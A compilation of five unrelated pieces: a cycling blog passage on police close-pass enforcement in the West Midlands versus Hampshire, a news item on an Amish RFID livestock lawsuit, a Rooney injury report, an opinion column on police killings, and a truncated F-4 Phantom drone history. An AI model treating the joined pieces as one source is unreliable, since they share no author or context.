majority will say “close passes by drivers” (in the blog it is cited as “the most common complaint we receive from cyclists”). If you ask anyone who has given up cycling why they gave it up, many will say the same, as will many when asked why they never even started cycling. Certainly WMP seem to have found that to be the case, and this has influenced the prioritisation of the operation: the aim is in no small part to foster an environment in which more people feel able to cycle.  But how does this fall within the remit of the police, who are there primarily to reduce crime rates and reduce public harm? Even though it’s a commendable objective for all sorts of reasons that are in the wider public interest, getting more people on bikes may not be an obvious police goal.  I asked Pc Hodson about this and his explanation was refreshingly straightforward.  In any situation where the general public feel unable to do certain things because of fear arising through the behaviour of others, the police would be involved. To use a somewhat stereotyped analogy: if elderly people felt unable to walk to the local shops on their own because of groups of youths behaving threateningly, the police would apply the law in order to reduce the threatening behaviour and create a safe environment where people felt safe doing what they wanted to do. Tackling one group’s imposition of fear on others, inhibiting their ability to conduct themselves freely, is a community policing matter. The fact that it happens to involve the highway is really of no significance: it merely means a different piece of legislation is referred to when dealing with the threatening behaviour.  So how does the operation work?  Operation Close Pass  The operation, which has been deployed nine times so far, involves an officer cycling in plain clothes on a bike equipped with both front and rear facing cameras. When they experience a close pass, two uniformed officers further up the road (one on foot, one on a motorcycle) are notified and will pull the driver over and explain why they’ve been stopped.  The explanation is not merely “a quick word”. It is a 15 minute demonstration of how and where people should cycle (ie well away from the kerb) and the dangers not just of close passes, but of passes at particularly problematic locations such as at pinch points, on pedestrian crossings and when approaching parked vehicles. In all, 130 drivers have so far been through this process and WMP report that only one of those reacted negatively to it (note that the police frequently cite The Attitude Test: fail this and you’re suddenly rather more likely to be prosecuted than educated).  The explanation involves a few props, central to which is a mat which shows a road layout with distances marked on it. WMP were keen to point out that these distances are illustrative only and that the discussion is really about more humanly recognisable metrics: the width of a car door and the length of an outstretched arm are both used to illustrate the discussion. It’s worth noting that the officers unanimously saw the idea of a distance-based passing law as actively disadvantageous, on the basis that it actually provides more opportunity to undermine a prosecution. Much mention was made of the standards expected in the driving test: drivers are, for instance, required to leave sufficient clearance for a fully open car door when passing stationary vehicles. Driving test faults are equated to failure to meet the standard that is “expected of a competent and careful driver”, as specified by the definition of careless driving. This is, essentially, the yardstick: would you pass your test with driving like that?  The operation has also brought numerous other offences to light, including several seatbelt violations and instances of mobile phone use, but also one of a driver who—even with his prescription glasses—could only read a number plate at 7.5 metres. Unsurprisingly, his licence was immediately revoked before he became the next Ronald Finney. But this shows that the operational model is not excessively specific: it is a good way to catch a variety of dangerous behaviours. This can, of course, include people jumping red lights on bikes, or riding at night without lights.  Resourcing  One of the key operational features of the initiative is that it is cost neutral. Which is not to say that it is zero cost, but that it is simply a new area on which to focus existing resources: there is no additional spend on either materials or manpower, and no reduction in visible policing. The mat used for education was paid for by Birmingham Cycle Revolution (which also provides the lights given out by WMP to unlit cyclists; it is part of Birmingham City Council which has a stated aim of seeing 10% of all journeys being made by pedal cycle by 2033).  However, it’s possible to adapt Close Pass to reduced levels of resourcing. The approach taken by Sgt Nick Clarke in Camden is an example of that: it uses no mat and it is deployed on a relatively opportunistic basis, at times when other demands on the officers on the street are low. It also serves as a demonstration that whilst an understanding of cycling is important, there is no specific need for traffic police: in Camden it is very much a community policing operation.  As Pc Hodson remarked, the lowest-resource option would be for a plain clothes officer to cycle around with a pair of cameras on their bike, process the footage and then send out NIPs to anyone shown to be driving below the expected standard.  Of course, there is an even lower-resource option. There are plenty of people already cycling around with cameras on their bikes: the public. And, on this subject, WMP made some illuminating comments. The most notable was that everything they’d received via public video submissions was indeed evidence of prosecutable driving. The public, they said, appeared to use the same criterion that they did when considering whether to take action: simply, “was this obviously bad driving?”  All of this becomes particularly interesting when one starts looking at some other forces.  Such as Hampshire.  Outdated policing  West Midlands’ approach to the dangers faced by those on pedal cycles could scarcely be more different to that of Hampshire. While WMP are spending a few hours every so often enforcing safe passing and explaining why people ride bikes in a certain way and so on, Hampshire Police are out collaring the people on bikes.  Recently they staged three such operations, stopping 480 cyclists. Of these, 34 were dealt with for failing to display lights, which rather implies that the remaining 446 were cycling perfectly legally. A reminder: Operation Close Pass only stops drivers who have committed an offence, it doesn’t stop 13 law-abiding road users for each offending one.  So… Three recent @HantsPolRoads operations, stopping 446 people cycling legally. But a real reluctance to address bad driving. pic.twitter.com/r0cdIMprAz — Bez (@beztweets) October 31, 2016  But notice the other part of that tweet above: Hampshire “will only pursue allegations of poor driving if the circumstances meet the legal definition of dangerous driving or if the driver is a prolific or repeat offender.”  Compounding this, Hampshire Police’s definition of dangerous driving is rather interesting. Take a look at the CPS guidelines and Hampshire’s own guidelines and spot the difference. In case it’s not obvious, let me help you out.  So, in Hampshire, several factors fall into place to prevent action being taken against close passing. You can’t get an offence dealt with if it’s not committed a repeat offender, and since offences aren’t dealt with it’s kind of hard to become a repeat offender. You can’t get an offence dealt with if it’s not dangerous driving, and since close passing has been curiously erased from the guidelines for dangerous driving it’s kind of hard to get close passing seen as an offence. It’s quite a neat closed loop.  The justification that Hampshire Police give is that “we only have limited resources at our disposal”.  Of course they’re limited resources. All resources are limited. West Midlands Police also have limited resources.  But the operations stopping cyclists evidently involve multiple officers and, given that on average 160 cyclists are “engaged with” (as Hampshire euphemistically phrase it) each time, they clearly aren’t brief deployments either. It’s quite obvious that per deployment the operation requires a similar level of resourcing to WMP’s Operation Close Pass as it has been run thus far, notwithstanding the fact that Close Pass can be run with significantly less resource.  The issue is not the finite nature of resources, it is that those resources have been deployed to do other things: namely handing out fluorescent beanie hats to cyclists.  This is a straight choice in how to deploy resources: you could have Operation Close Pass for the same resource as consumed by the hat giveaway.  Hampshire are not even reviewing video evidence, the letter makes clear. The least resource-intensive distillation of Operation Close Pass is not even on Hampshire’s to-do list. When WMP can not only confidently state that near enough every video they receive shows prosecutable driving, but consistently take action as a result, Hampshire’s stance is made to look shameful.  #OpClosepass has now reached 78 prosecutions using 3rd party footage, here's a couple of the latest #GiveSpaceBeSafe #vulnerableroadusers pic.twitter.com/NjsERi7wUY — CMPG – Road Policing (@Trafficwmp) October 21, 2016  78 prosecutions during Operation Close Pass, and it hasn’t even been running long. Why not try sending a Freedom of Information request to Hampshire, or indeed any other force, to see how many NIPs—let alone actual prosecutions—they’ve issued to drivers on the basis of third party video evidence, ever.  And that was four weeks ago. They’re still going.  Taking every opportunity to protect vulnerable road users from dangerous drivers, 3 of this week's many 3rd party footage based prosecutions pic.twitter.com/ipr5FLULDL — CMPG – Road Policing (@Trafficwmp) November 14, 2016  But let’s not forget West Midlands’ approach prior to deploying Operation Close Pass, which was to analyse data to see what the evidence pointed to in terms of causative factors.  Maybe we should see what the data says in Hampshire.  Checking the facts  Between 2005 and 2015 there were 1663 cycling KSI collisions in Hampshire, 40 of which were fatal.  Of these, “rider wearing dark clothing” was cited as a “very likely” (as opposed to merely “possible”) factor in just 34 cases, only one of which was fatal. Of these, 13 coincided with failure to display lights, from which it’s probably reasonable to infer that if a causative factor had indeed been lack of conspicuity then in several cases lights may well have sufficed, rendering clothing irrelevant. The second most commonly coincident factor, in 8 of the 34 cases, is a driver’s failure to look—in which case, again, is clothing relevant? (This is the great lie of the “be safe, be seen” culture which Hampshire, among others, promulgate dogmatically: no-one has control over being seen.)  So, even giving the benefit of doubt, there are probably a couple of dozen cases in which dark clothing may have been a factor. For all Hampshire’s efforts they are targeting roughly two serious injuries per year.  Two.  Yet, despite having consistently applied this level of resource to these operations for some years (as far as I can see they go back as far as 2009), they don’t seem to be doing very well at it. In the three years 2005-2007 there were three KSI collisions where dark clothing was cited as a likely factor. In the latest three years, 2013-2015, there were ten.  The best part of a decade has been spent handing out yellow vests instead of tackling poor driving in a progressive manner, and in that time injuries attributed to lack of yellow vests have tripled. Stop and think about that for a moment.  And no, that rise isn’t caused by there being more people cycling. In most parts of Hampshire, cycling levels have fallen (see table CW0103).  An entirely plausible hypothesis is that there is simply an increased tendency within Hampshire to record dark clothing as a factor, rather than it being a factor. It rather suggests a victim-blaming culture.  Let’s not forget that it was Hampshire Police’s collision investigator who said that high-visibilty clothing “may have acted as camouflage” when Lauren Paul drove into lollipop man Ray Elsmore on a pedestrian crossing, inflicting fatal injuries. Ever get the feeling you can’t win?  Looking at all KSI cases in Hampshire, by far the most prevalent contributory factor is drivers’ failure to look. So why spend so much time focusing on the appearance of the thing that those drivers are failing to look at, and shifting drivers’ expectations of others’ conspicuity higher, when this can only serve to reduce their propensity to look more carefully?  Meantime, back to that figure of 1663 cycling KSIs. They’re not evenly spread: they’re rising. Significantly. The dashed orange KSI trend line below shows roughly a 150% increase over the 11 year period. (For what it’s worth, I plotted this graph for several forces. Hampshire was comfortably one of the worst performers: of those I looked at, only Devon and Cornwall—the force which for some time disbanded its roads policing unit altogether—was worse.)  So, Hampshire’s approach is failing on both fronts: cycling is declining, while KSIs are increasing at a higher rate than almost anywhere in the country. And while the same data show where the problem lies, Hampshire Police continue to appear either oblivious to what the data say or to actively ignore it.  “Failure to look” is a problem indeed.  When asked what would be perceived as a mark of Operation Close Pass’s success, Pc Hodson remarked that although a reduction in casualties was what everyone would like to see, a perfectly valid successful result would be to see a significant increase in cycling levels without a significant increase in casualty figures.  I agree; in fact I think the latter is the more important goal at this point in time, and this returns to the earlier point about how important it is to establish the link between tackling behaviourally threatening uses of vehicles which restrict people’s freedoms, because it is this that cements the police’s role in helping to establish an environment in which people can choose socially benign forms of transport.  And West Midlands’ actions, together with Hampshire’s data, highlight how ineffective—nay, counterproductive—it is to focus on the more vulnerable and to believe that the colours that they wear have any significant effect on whether they are injured. This view is demonstrably misguided. It is outdated. And policing based on it is similarly outdated.  Replication  Fortunately, numerous forces have started knocking on WMP’s door looking to replicate Operation Close Pass. Even forces from abroad—Finland, Denmark and even Australia—have sought them out.  The crucial aspect of this, though, will be not only how this operational model can be adapted to other territories, and to urban and rural areas, but how effectively the education can be delivered. One thing that is entirely clear from Operation Close Pass, and which binds it together, is the ability of Pcs Hodson and Hudson to deliver the material to drivers. Of course we await measurable results, but from everything seen so far it is indisputable that they have not only a thorough understanding of all of the pertinent issues but an exemplary ability to explain those issues to people whose viewpoint has never extended to experiencing roads by bicycle, both of which are essential if any educational process is to be effective.  But, in order to see how well that can be replicated, other forces must first try to replicate it. And, thus far, not all have beaten a path to West Midlands’ door.  No matter where you are, there can be no harm in adding your voice in encouraging your local force to look into Operation Close Pass, because the alternative is clear: it’s bright yellow clothes, declining levels of cycling, and rising casualty figures.  Use of resources is a choice. And, as choices go, this should be an easy one.
-A group of community farmers, some of them Amish, are challenging rules requiring the tagging of livestock with RFID chips, saying the devices are a "mark of the beast."  Michigan and federal authorities say the radio frequency identification devices (RFID) will help monitor the travels of bovine and other livestock diseases.  "Use of a numbering system for their premises and/or electronic numbering system for their animals constitutes some form of a 'mark of the beast' and/or represents an infringement of their 'dominion over cattle and all living things' in violation of their fundamental religious beliefs," according to the farmers' lawsuit filed Monday in U.S. District Court for the District of Columbia.  As radio frequency identification devices become a daily part of the electronic age, RFID technology is increasingly coming under fire for allegedly being the mark of Satan. The technology is fast becoming a part of passports and payment cards and is widely expected to replace bar-code labels on consumer goods.  The suit (.pdf) mentions various verses from the Book of Revelation. "He causes all, both small and great, rich and poor, free and slave, to receive a mark on their right hand or on their foreheads, and that no one may buy or sell except one who has the mark or the name of the beast, or the number of his name." Revelation 13:16-17  The farmers' lawsuit, brought by the Virginia-based Farm-to-Consumer Legal Defense Fund and some of its 1,400 members, seeks to block enforcement of the National Animal Identification System. Some of the group's members so staunchly oppose the program that "they may have to quit farming," according to the lawsuit.  And if they quit, U.S. citizens could be in jeopardy during a terror attack. According to the lawsuit:  "All plaintiffs preserve and protect Americans' agricultural heritage and traditional farming techniques, they maintain and protect heirloom varieties of plants and animals constituting a valuable genetic resource which may help to protect America's food supply in the event of a disease outbreak, and they also provide a national security benefit founded in a diverse system in the event of a terrorist attack or natural disaster that interrupts the distant transportation of centrally produced food across the country."  They may quit farming and imperil the United States because RFID tagging "forces them to, in part, violate tenets of their Old Order Amish beliefs, i.e., they are forced to use technology they would ordinarily not use," according to the suit.  The lawsuit also claims the program places a financial burden on small farmers and that the U.S Department of Agriculture has failed to show "any rational relationship to or causal link with animal disease control."  See Also:
-• Rooney picked up ankle injury during draw with Bolton • Striker went off during second half at the Reebok Stadium  Wayne Rooney has been ruled out of Manchester United's Champions League game against Valencia on Wednesday due to an ankle injury picked up during yesterday's draw against Bolton Wanderers.  Sir Alex Ferguson has told club officials the 24-year-old will not be fit enough to make the trip after being withdrawn during the second half of yesterday's game.  It is unclear how long Rooney will be out for, but he could possibly miss United's trip to Sunderland on Saturday, while England will hope the striker will be able to participate in their Euro 2012 qualifier against Montenegro on 12 October.  Some may feel it is a good time for Rooney to have a break. On ESPN yesterday, the pundit Kevin Keegan voiced his concern for the striker, who has scored only one goal for United this season, a penalty against West Ham United.  Meanwhile Nemanja Vidic has told his team-mates to cut out the defensive lapses that are wrecking their title bid. United have conceded nine goals in five Premier League games so far this season, and are three points behind the leaders, Chelsea.  "It is a big concern that we are conceding so many away goals," said Vidic. "We have to stop doing it. We cannot let it happen again.  "Over the last few years we haven't given that many goals away or even allowed them so many chances. Before we have always looked strong, so this is not what we are used to. We have to play much better in our away games."
-Edward Barnell hugs his granddaughter Tiffany, 8-year-old daughter of Loreal Tsingine, who was shot and killed, at Tsingine's funeral at Desert View Cemetery, in Winslow, Ariz. At least two officers who trained Shipley, who later shot and killed Tsingine, armed with scissors, had serious concerns that he was too quick to go for his service weapon, ignored directives from superiors and falsified reports, | Mark Henle/The Arizona Republic via AP  On April 24, a column I wrote, “Where is Justice for slain Navajo mother, Loreal Tsingine?“ went to print. The column concluded by posing the issue of how without exception “the racist police perpetrators of these hideous executions continue to have impunity from any consequences.” I also posed the question “How long are Native Americans and other people of color to be sitting ducks in a pond waiting to be the next victims of the vicious, racist, militarized police murderers?”  Both of the above points would be tragically raised again. Just a mere five days later, on Saturday, April 29, a Black youngster, 15-year-old Jordan Edwards, was shot to death by a white police officer in a Dallas, Texas suburb. Edwards was sitting in the passenger seat of a car that was leaving the scene of a house party.  At first, the policeman stated that the car was backing toward him in an “aggressive manner, “but subsequently video from body cam footage proved that the vehicle was actually being driven away from the police officers at the scene. Taken to a hospital nearby Edwards was pronounced dead resulting from a gunshot to the head.  Police officer Roy Oliver who killed Edwards, in response to the video cam footage, told the media that he “misspoke” (a euphemism for lying) in reference to the specifics of the incident. Oliver has since been fired. He, of course, should be prosecuted to the fullest extent of the law.  This incident also raises the question of why did the officer fire at the vehicle in the first place, since it was leaving the scene of the house party. It was later brought out that the officer shot Edwards with a rifle. A rifle! Why would the police take out rifles to shut down a teenage house party? There was no plausible reason for the use of any deadly force, much less a rifle. This shows the combat/war mentality of the racist, militarized police.  We don’t know who will be the next victim, but what we do know is that there will be more victims.  In regard to the issue of the seemingly infinite impunity of the police from any consequences for these hideous slayings of people of color, we have only to look at the announcement by the Department of Justice on Tuesday, May 2, (just three days after the murder of the Edwards youngster) that federal charges will not be filed against the police in Baton Rouge, Louisiana in the killing of African American Alton Sterling. In this instance video footage clearly shows Sterling pinned to ground by two white police officers. Sterling is shot several times while still pinned to the ground. The feds said there was not sufficient evidence to indicate that Sterling was not reaching for a gun.  This is absurd. This is outrageous. This reinforces and strengthens the message of impunity of the police.  In North Charleston, South Carolina, April 4, 2015, phone footage shows another Black citizen,50 year-old Walter Scott, shot numerous times by white policeman, Michael Slager while running from the officer. The officer initially claimed that he was in fear of his life. This is preposterous- incredible that the officer has the temerity to even let those words issue from his mouth. The officer fired his service revolver eight times at the hapless Scott killing him. Slager has since pled guilty to Deprivation of Rights under Color of Law and awaits sentencing. Don’t be surprised if he gets just a slap on the wrist.  In Oklahoma the trial began on Monday, May 8, of white Tulsa police officer Betty Shelby for the killing of Terence Crutcher, an unarmed Black man. Crutcher reportedly had his hands in the air when he was shot. Shelby said she was in fear of her life- “the magic words”.  The police slaughter of Red and Black people rages unabated. In October, 2016 there was a deadly increase in fatal police shootings of American Indians around the country. Eight police slayings of Native people took place in that bloody month. Up to that point, there had been an average of two a month.  There is long-standing belief among many citizens of color that racist, white-supremacist elements, such as the Klan and home grown Nazis, have infiltrated the police departments. If that be the case then there needs to be a purging of the police departments in question along with more stringent background checks of new applicants.  What is also so frustrating is that although there is all this hand wringing and lamenting by a plethora of writers, journalists and reporters, there is a lack of direction by anyone of the progressive or leftist slant to propose anything to halt these racist, state sanctioned lynchings. I would venture some proposals including everything from civilian review boards, peoples’ tribunals to community patrols to monitor the activities of the police who in so many instances act like an occupying army rather than protectors of the communities they are supposed to serve. There has to be community control of the police. Keep in mind that the courts, so far, have been on the side of the police. The so-called justice system in this regard is broken.  As an aggrieved mother of a recent victim so poignantly said: “the police cannot police the police.”
-The F-4 Phantom II lives. But the life it leads today is an odd one.  It still flies in other countries; in northern Iraq, for example, the Turks use it in combat with the Kurds. But in the United States, it leads a twilight existence. It’s a warplane, but it no longer fights. Its mission is weapons testing, but no pilot flies it. Mostly, you’ll find these F-4s either sitting in the desert or lying at the bottom of the sea.  The F-4 entered service in 1960, flying for the U.S. Navy. After studying its potential for close air support, interdiction, and counter-air operations, the Air Force added the F-4 to its fleet in 1963. Eventually the Phantom ended up even in the U.S. Marine Corps’ inventory. In four decades of active service to the United States, the aircraft set 16 world performance records. It downed more adversaries (280 claimed victories) than any other U.S. fighter in the Vietnam War. Two decades later, it flew combat missions in Desert Storm.  In 1996 the aircraft was retired from the U.S. fleet. But the venerable McDonnell design has one last mission to perform for the military: to go down in flames.  Since 1991, 254 Phantoms have served as unpiloted flying targets for missile and gun tests conducted near Tyndall Air Force Base in Florida and Holloman Air Force Base in New Mexico. The use of F-4 drones (designated QF-4s) is expected to continue until 2014.  When an airframe is needed for target duty, one is pulled from storage at Davis-Monthan Air Force Base in the Arizona desert. The airframe is given refurbished engines and instruments, then sent to Mojave Airport in California. There, BAE Systems turns the aircraft into remote-controlled drones, installing radio antennas and modifying the flight controls, throttles, landing gear, and flaps.  QF-4 production test pilot Bob Kay is responsible for testing the converted aircraft, then flying them from Mojave to Tyndall and Holloman. Kay has been captivated by the F-4 since the age of seven, when his father took him to an airshow. “I saw a Navy A-3 refueling two Phantoms as they flew over so low and with that noise,” he says. “That’s all I remember of that airshow, but I knew I wanted to fly that fighter.”  I ask if he has any second thoughts about being part of a system that destroys an airplane he loves, an aviation legend.  He thinks for a moment, then says, “What better way is there for a warrior to end its life than to go down in a blaze of glory?”  The Phantom has been called “double ugly,” “rhino,” “old smokey,” and monikers even less flattering. The design does have its share of ungainly bends and angles. The horizontal stabilizers droop 23.25 degrees. The outer wing sections tilt upward 12 degrees. When an engineer looks it over, the first thing that probably comes to mind is “stability and control problems.” A brutal example of that weakness occurred during a May 18, 1961 speed record attempt. While Navy test pilot Commander J.L. Felsman flew below 125 feet over a three-mile course, his F-4 experienced pitch damper failure. The resulting pilot-induced oscillation generated over 12 Gs. Both engines were ripped from the airframe and Felsman was killed. (A later attempt succeeded.)  Control sensitivity varies widely. It takes full aft stick to raise the nose for takeoff, yet at certain fuel loadings and at speeds just above Mach 0.9 at low altitude, moving the stick only one inch can produce 6 Gs on the airframe. At above Mach 2, on the other hand, the shock wave that is created moves the center of lift so far aft that pulling the stick all the way back produces only about 2 Gs.  With all its peculiarities and faults, legions have had love/hate relationships with the aircraft. “The F-4 is the last of the fighter pilot’s fighters,” says BAE’s Bob Kay. “You have to fly the F-4.” It has none of the bells and whistles of next-generation fighters. Instead of the multi-function flight displays found in modern fighters, the cockpit instruments are “steam gauges”—round dials with needles. It has an inertial navigation system, best described as cranky. There is no flight management system, no GPS, no Electronic Flight Instrument System (EFIS), and no “Bitching Betty” voice system to alert the pilot to hazards. You have to navigate, bomb, shoot missiles, fire the gun, look for problems, and evaluate every one of those actions instrument by instrument. For the pilot, this means a lot of time is spent head down, analyzing instrument data; in modern aircraft, on the other hand, much of the information is presented compactly, in head-up displays above the instrument panel.  My affair with the Phantom began upon graduation from pilot training in 1964, when I landed a tour in the Air Force F-4C. Though the Navy and Marine Corps assigned radar operators to the “pit,” as we referred to the second seat, the Air Force thought it would be more effective to use the configuration for two pilots. Wrong. No true fighter pilot chooses to serve as  copilot. The assignment was akin to a shotgun marriage. For two years I languished six feet behind my more experienced comrades, calling off altimeter readings as they bombed, strafed, and fired rockets in training exercises on the gunnery range. Backseaters had to beg, cajole, and whine for stick time, and when we got it, we found that every aspect of flying the F-4 from the rear cockpit was a nightmare. The meager instruments were placed haphazardly in a straight line across the panel. The useless clock and G-meter were located in the center. Why? Because they fit there! Instrument approaches gave you a migraine. And to spot the runway, you had to peer through a knothole on either side of the cockpit, which made landing from the pit an adventure, especially with a crosswind.  Front-seaters were not always thrilled with the F-4 either. In 1972, during his second tour in Vietnam, U.S. Air Force Major Dan Cherry, now a retired brigadier general, flew 185 combat missions in the Phantom; today he recalls: “The F-4 cockpit was uncomfortable, the instruments were poorly arranged, crew coordination was a hassle, it was ugly, and it used fuel like nobody’s business.”  Crews that flew the airplane for the Navy had their own share of problems. By 1966 the Rolling Thunder bombing campaign waged by the Navy and Air Force had really heated up. Large formations of fighter-bombers were striking targets in the Hanoi area daily. That year Commander Dick Adams’ squadron flew combat in F-4s off the carrier USS Franklin D. Roosevelt. Each Phantom launched from the Rosie’s short catapult with four 500-pound and four 1,000-pound bombs, plus an empty centerline tank, which was refueled during climbout. Before a carrier landing, Phantoms had to achieve a certain landing weight; landing heavy would overstress the arresting cables. For this carrier, the F-4 was a heavy aircraft, and as such could try an approach with fuel for only one or two attempts. On the 1966 cruise, one of the squadron jets on a landing attempt was waved off, and when the pilot ran out of fuel before completing a second pattern, the engines flamed out and the aircraft went deep-six. The crew survived.  In March 1966, I was told that if I agreed to take a combat tour, I’d get the front seat. Are you kidding? I made my first front-seat flight at MacDill Air Force Base in Florida. I still remember it: a gunnery mission. And oh, the visibility from the front  chair! My landing was the smoothest of “grease jobs.” At that moment, the shotgun marriage turned into a love affair.  After passing my checkout flight, I was stationed at Ubon Air Base in Thailand, a member of the 555th—“Triple Nickle”—Squadron in Colonel Robin Olds’ famed Eighth Wing.  At Ubon, the F-4 was all things to all people. One squadron flew only at night, popping flares and dropping bombs. The other two squadrons flew both day and night, dive-bombing bridges, strafing ground targets, rocketing truck parks, and tangling with the ever-elusive MiGs over Hanoi.  On October 11, 1966, I discovered how tough the Phantom was. An 85-mm round blew a four-foot section off my right engine, and the aircraft caught fire. Still, it held together through the 400 miles back to Ubon.  By the end of 1966, the Phantom had revealed a host of shortcomings. Number one was the dismal record of missile hits against the North Vietnamese MiG-17s and MiG-21s. The AIM-7 radar-guided missile had a probability of kill below 10 percent. Richard Keyt, who flew F-4s for the 35th Tactical Fighter Squadron during the Vietnam War, recalls: “Our missiles were designed to work in a non-maneuvering environment—a non-turning, 1-G shot at the bomber target flying straight and level at high altitude.” The reality: “F-4s fired in high-G turns at small MiGs that were turning hard and pulling Gs.” To remedy the problem, the Air Force expanded its Weapons System Evaluation Program (WSEP) at Clark Air Base in the Philippines. Combat crews were given practice in firing missiles at towed radar-reflective targets.  My backseater, First Lieutenant Jerry K. Sharp, and I took part in that exercise over the South China Sea in December 1966, scoring a hit. On January 2, 1967, we used the skills we had honed in that exercise when we merged with a flight of four MiG-21s that were turning hard to get at us. Sharp got a radar lock-on while under heavy Gs. Then I centered the steering dot, fired two AIM-7s, and watched as the second missile exploded and tore the tail section from the MiG in front of us.  For other F-4 shortcomings, the military contracted out quick fixes. Modifications included the installation of Radar Homing and Warning (RHAW) gear—a cockpit system that alerted pilots when their aircraft was being tracked by anti-aircraft-artillery radars or surface-to-air-missile sites. Also added were radar jamming pods, plus chaff and flare dispensers used in combination to confuse tracking radars and to dupe radar-guided or heat-seeking missiles.  The C variant had a number of design problems; one of the biggest was lack of a gun. The rules of engagement over Vietnam required that an adversary be identified visually before a missile could be fired at it. The MiGs were small, and to make the ID, shooters had to get close, often much less than the minimum distance that the AIM-7 radar-guided and AIM-9B heat-seeking missiles required to hit a target. At short range, “if you didn’t have a gun, you couldn’t shoot down anything,” says Rich­ard Keyt. The quick fix was the SUU-16/A gun pod with the M61A1 20-mm cannon.  But without a lead-computing sight and with no tracer ammunition, F-4C pilots were denied the visual cues needed to correct aiming errors. Then, in 1967, the F-4D arrived. The D model introduced a lead-computing optical sight for use with the gun pod. In addition, the normal ammunition load now included tracers.  On November 6, 1967, the gunfighter Phantom proved its worth. Captain Darrell “D” Simmonds and First Lieutenant George H. McKinney Jr. were escorting a flight of F-105s that came under attack by two MiG-17s. “We picked up the MiG-17s visually that were shooting at the Thuds [F-105s],” says Simmonds. “I was able to get in there and maneuvered for a perfect ‘uphill dart’ shot. I hit him, came alongside, and looked at him, and he looked at me, then ejected just before the plane hit the trees.” McKinney spotted another MiG-17 and Simmonds swung into a hard turn, accelerating as he lined up for the shot. “We were close, but I didn’t want to miss the opportunity,” the pilot remembers. “I fired and he blew up.” Later, Simmonds realized: “We had used just 497 rounds for the two kills—less than five seconds of firing.”  The D model, however, was not a cure-all. “The guns on the D hung externally, on the centerline, and that created drag,” says Keyt. As for the missiles, the underperforming AIM-9B was abandoned for the Hughes AIM-4D Falcon. Designed to bring down strategic bombers, it required cooling of the seeker head prior to launch and needed a direct hit to score a kill. As pilots found out during what became known as the “Falcon Fiasco,” it came up short in a dogfight. Major James R. Chamberlain, a backseater stationed with the “Gunfighters”—the 366th Tactical Fighter Wing at Da Nang—notes, “The biggest problem with the AIM-4D was the limited amount of cooling time available [two minutes or less], which meant that the missile could not be pre-cooled for a quicker lock-on. And, once available liquid nitrogen was consumed, the missile was a blind, dead bullet—derisively called the ‘Hughes Arrow.’ ” After firing four of the missiles in combat without success, Robin Olds insisted the missiles cost him his fifth kill. He ordered them removed from his fleet.  The Air Force soon trashed the AIM-4D. Newer Sidewinders were substituted. The military also recognized the benefits of an internal gun: The F-4E, introduced in 1967, had an M-61A cannon mounted beneath a solid-state AN/APQ-120 radar, both inside the aircraft nose. During the time Richard Keyt’s 35th Tactical Fighter Squadron was based at Korat air base in Thailand, five squadron aircrews were credited with MiG kills, and four used the internal gun.  In 1973, during my third tour in Southeast Asia, I was assigned to the early E model. It was a dream to fly, not only because of the improvements made in gun and missile technology but also because the Air Force had realized the folly of putting two pilots in a fighter. After 1967, virtually all the GIBs—guys in back—were either navigators or radar intercept operators.  The follow-on Es brought enhancements: A horizontal tailplane with a fixed inverted slat gave improved control at high angles of attack. Leading-edge slats on the wings enabled tighter turns at slow maneuvering speeds. A Northrop system called TISEO (target identification system, electro-optical) identified airborne targets.  By the time my final tour was up, in 1974, a fleet of Phantom variants had safely taken me through a gauntlet of fire and flying experiences that would constitute the greatest adventures of my life.  Three-plus decades later, I was once again in the company of Phantoms. This time the setting was the tarmac at Tyndall.  The commander of the 82nd Aerial Target and Recovery Squadron, which conducts the drone shootdowns, is Lieutenant Colonel J.D. “Bare” Lee. A former F-16 pilot, Lee also has 1,500 hours in the Phantom. He still recalls the first time he took to the air in one. “I was shocked at how much more difficult it was to fly than I thought it would be,” he told me. “When I got home, I told my wife, ‘I think I just traded in a Porsche for a ’72 Cadillac.’ ”  At any one time, a total of up to 80 F-4s are stationed at Tyndall and at Lee’s Holloman detachment in New Mexico. Twenty-one Phantoms sat on a ramp called the Swamp, awaiting movement to Death Row, the holding area for the soon-to-be targets.  At mid-afternoon the drone mission briefing took place. The meeting included the drone “fliers,” Lockheed Martin personnel headed by pilot/controller Matt  LaCourse. “Today’s mission is in support of WSEP, so there’ll be a lot of shooters out there,” said Lee. “WSEP” is the same Weapons System Evaluation Program I had participated in four decades earlier in Vietnam, when I’d practiced shooting at towed targets from F-4s. Now the F-4 was the target.  LaCourse explained that four F-22 Raptors would each fire the latest AIM-120 air-to-air missile. The shooters and chase plane would take off from the main runway, while the drone used a strip three miles east.  Most Phantoms wind up in the Gulf of Mexico within one to three missions. But not all: One, nicknamed “Christine,” after the Stephen King book and film about a crazed car with a mind of its own, had survived 10 missions. Another, “Son of Christine,” has come back from 12 sorties, the current record.  Some drone missions are not meant to be shootdowns: The Phantom is loaded with missile jammers, and missiles without warheads are fired against the craft to test how well the jamming works. Other Phantoms are spruced up with Vietnam War-era camouflage and flown to airshows.  One Phantom was saved by its former pilot. On April 16, 1972, Dan Cherry, flying an F-4D, had scored a victory over a North Vietnamese Mig-21. Thirty-two years later, during a trip with friends to the National Museum of the Air Force in Dayton, Ohio, Cherry encountered the aircraft he had flown that day. It was on display in the little town of Enon, outside Dayton.  “In spite of her flat tires, weeds growing up all around, bird droppings everywhere, and faded gray paint, she was beautiful,” he recalls. “Walking around her and answering my friend’s questions made me realize how much I loved her and how much I owed her for taking such good care of me. Suddenly all those things that seemed like negatives before paled in comparison to the strong bond I felt at that moment.” Cherry took on the task of relocating the aircraft to the Aviation Heritage Park in Bowling Green, Kentucky, where it was restored and is now displayed. Then he decided to learn about the pilot of the MiG he had shot down. (Cherry’s story about meeting his former enemy in Vietnam will appear in a future issue of Air & Space/Smithsonian.)  At Tyndall, the heat and humidity hit my face like a wet washcloth. The van driver took us from Death Row to the end of the runway, where F-4E tail number 73-1165 was positioned about 20 feet to the right of the runway centerline.  I asked if I could approach the aircraft. My unit escort, Major Kevin Brackin, obtained permission. I got out of the van and walked across the concrete. When I reached the aircraft, I placed my hand on the radome. Because of the cloud cover, the nose was warm to the touch, not the usual egg-frying hot. The Phantom felt alive.  I felt a wave of dread. Within minutes this magnificent machine might be in pieces at the bottom of the Gulf of Mexico.  A photo was taken, and I headed back to the van to listen to the radio chatter.  Lee says it cost the Air Force $2.6 million to get the aircraft from the boneyard in Tucson to the runway at Tyndall. Is it worth it? “The F-4E has the built-in ability to launch flares and chaff and can carry an assortment of jamming pods, all of which put our latest weapon systems through their most rigorous tests,” says Lee. Had we taken the time to test our missiles properly in the early 1960s, the Vietnam air war might have turned out like the 